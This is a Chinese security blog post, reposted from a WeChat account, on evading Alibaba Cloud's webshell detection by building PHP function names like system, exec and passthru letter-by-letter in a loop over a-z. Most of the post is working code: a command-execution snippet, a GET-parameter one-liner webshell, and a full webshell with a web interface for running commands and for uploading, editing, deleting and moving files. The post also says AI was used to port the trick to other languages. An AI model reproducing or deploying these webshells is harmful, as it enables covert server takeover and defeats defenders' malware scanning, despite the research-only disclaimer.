绕过阿里云webshell检测?easy!

admin 2025年6月26日00:15:08评论3 views字数 4895阅读16分19秒阅读模式
虽然webshell免杀炒冷饭这事我并不看好,因为在意义不大,ai时代成本也很低,但是我还是想拿出来水一篇因为我觉得有点意思
在我对抗了十几个样本之后我发现阿里云的webshell查杀只要不出现明文的恶意函数就可能会很好绕过,其次是你如果执行whoami的命令他也是会爆疑似的,但如何让webshell不出现明文恶意函数呢?拼接,xor之类等等在最后的函数拼接都会被爆出来,所以我想到了一个解决办法:
<?php$pre substr('systems'05); foreach(range('a''z'as $x) {    if($x === 'm') {        $f $pre $x;        echo "<pre>" . $f('set | findstr /i "user') . "</pre>";        break;    }}
绕过阿里云webshell检测?easy!
我这个代码一共就9行 具体什么意思呢
system取到syste 那个m留出来遍历从a-z 其中就包含了system函数
避免了直接出现明文恶意函数 并不存在最后的拼接
绕过阿里云webshell检测?easy!
这个思路不仅可以用做一句话 还可以多语言的使用
比如我们先拿php一句话修改尝试(在此不做公开蚁剑适配的)
给大家看一下改版的get型的
绕过阿里云webshell检测?easy!
<?phperror_reporting(0);$pre substr('systems'05); foreach(range('a''z'as $x) {    if($x === 'm') {        $func $pre $x        break;    }}if(isset($_GET['c'])) {    $func($_GET['c']);else {    echo "";}?>
绕过阿里云webshell检测?easy!
多语言通用:
让ai把技术移植了一下:
绕过阿里云webshell检测?easy!
然后就是php大马的改写
绕过阿里云webshell检测?easy!
<?phpheader('Content-Type: text/html; charset=UTF-8');error_reporting(0);/* ======== 动态构造所有关键函数 ======== */$GLOBALS['f'] = [];foreach([    'sys' => ['s','y','s','t','e','m'],    'exe' => ['e','x','e','c'],    'pas' => ['p','a','s','s','t','h','r','u'],    'shl' => ['s','h','e','l','l','_','e','x','e','c'],    'fgc' => ['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s'],    'fpc' => ['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s'],    'scd' => ['s','c','a','n','d','i','r'],    'rmd' => ['r','m','d','i','r'],    'mkd' => ['m','k','d','i','r'],    'ren' => ['r','e','n','a','m','e'],    'mvu' => ['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']] as $k=>$v){    $GLOBALS['f'][$k] = '';    foreach(range('a','z') as $c) foreach($v as $tif($c==$t$GLOBALS['f'][$k].=$c;}/* ======== 增强执行函数 ======== */function run($c){    $c .= ' 2>&1';    if(f('sys')) return f('sys')($c);    if(f('exe')){ f('exe')($c,$o); return implode("n",$o); }    if(f('pas')) return f('pas')($c);    if(f('shl')) return f('shl')($c);    $h = popen($c,'r'); $o = stream_get_contents($h); pclose($h);    return $o ?: "执行失败";}/* ======== 文件操作函数 ======== */function ls($d){ return f('scd')?implode("n",f('scd')($d)):run('dir "'.$d.'"'); }function rm($p){ return f('rmd')?(is_dir($p)?f('rmd')($p):unlink($p)):run('del "'.$p.'"'); }function mv($s,$t){ return f('ren')?f('ren')($s,$t):run('move "'.$s.'" "'.$t.'"'); }function up($t,$d){ return f('mvu')?f('mvu')($t,$d):copy($t,$d); }function cat($p){ return f('fgc')?f('fgc')($p):run('type "'.$p.'"'); }function put($p,$c){ return f('fpc')&&f('fpc')($p,$c)!==false; }/* ======== 主逻辑处理 ======== */function f($k){ return isset($GLOBALS['f'][$k])&&function_exists($GLOBALS['f'][$k])?$GLOBALS['f'][$k]:null; }if(isset($_POST['act'])){    header('Content-Type: text/plain');    switch($_POST['act']){        case 'cmd': die(run($_POST['arg']));         case 'ls': die(ls($_POST['arg']));        case 'rm': die(rm($_POST['arg'])?'OK':'Fail');        case 'mv': die(mv($_POST['arg'],$_POST['arg2'])?'OK':'Fail');        case 'cat': die(cat($_POST['arg']));        case 'put': die(put($_POST['arg'],base64_decode($_POST['arg2']))?'OK':'Fail');        case 'up': die(up($_FILES['f']['tmp_name'],$_POST['arg'])?'OK':'Fail');    }}/* ======== HTML界面 ======== */?><!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=GBK"><title>WebShell</title><style>body{font-family:Consolas;margin:20px}pre{border:1px solid #ccc;padding:10px;background:#f8f8f8}input,select,button{padding:5px;margin:2px}td{padding:5px}</style></head><body><h3>文件管理</h3><form method=post target=fr enctype=multipart/form-data><input type=hidden name=act value=ls><input name=arg value="<?=htmlspecialchars($_POST['arg']??getcwd())?>" size=60><button>列出</button></form><form method=post target=fr><input type=hidden name=act value=cat><input type=hidden name=arg><button disabled>查看</button></form><form method=post target=fr><input type=hidden name=act value=rm><input type=hidden name=arg><button disabled>删除</button></form><form method=post target=fr><input type=hidden name=act value=mv><input type=hidden name=arg><input name=arg2 placeholder="新路径" size=30><button disabled>移动/重命名</button></form><form method=post target=fr enctype=multipart/form-data><input type=hidden name=act value=up><input type=file name=f><input name=arg placeholder="保存路径" size=30><button>上传</button></form><h3>命令执行</h3><form method=post target=fr><input type=hidden name=act value=cmd><input name=arg value="<?=htmlspecialchars($_POST['arg']??'whoami')?>" size=60><button>执行</button></form><h3>文件编辑</h3><form method=post target=fr><input type=hidden name=act value=put><input name=arg placeholder="文件路径" size=50><br><textarea name=arg2 style="width:500px;height:100px"></textarea><br><button>保存</button></form><iframe name=fr style="width:100%;height:300px;border:1px solid #ccc"></iframe><script>document.addEventListener('click',function(e){    if(e.target.tagName=='TD'&&e.target.parentNode.dataset.path){        document.querySelectorAll('[name=arg]').forEach(i=>i.value=e.target.parentNode.dataset.path);        document.querySelectorAll('button[disabled]').forEach(b=>b.disabled=false);    }});</script></body></html>
绕过阿里云webshell检测?easy!
绕过阿里云webshell检测?easy!

原文始发于微信公众号(秋风的安全之路):绕过阿里云webshell检测?easy!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日00:15:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过阿里云webshell检测?easy!https://cn-sec.com/archives/4169581.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息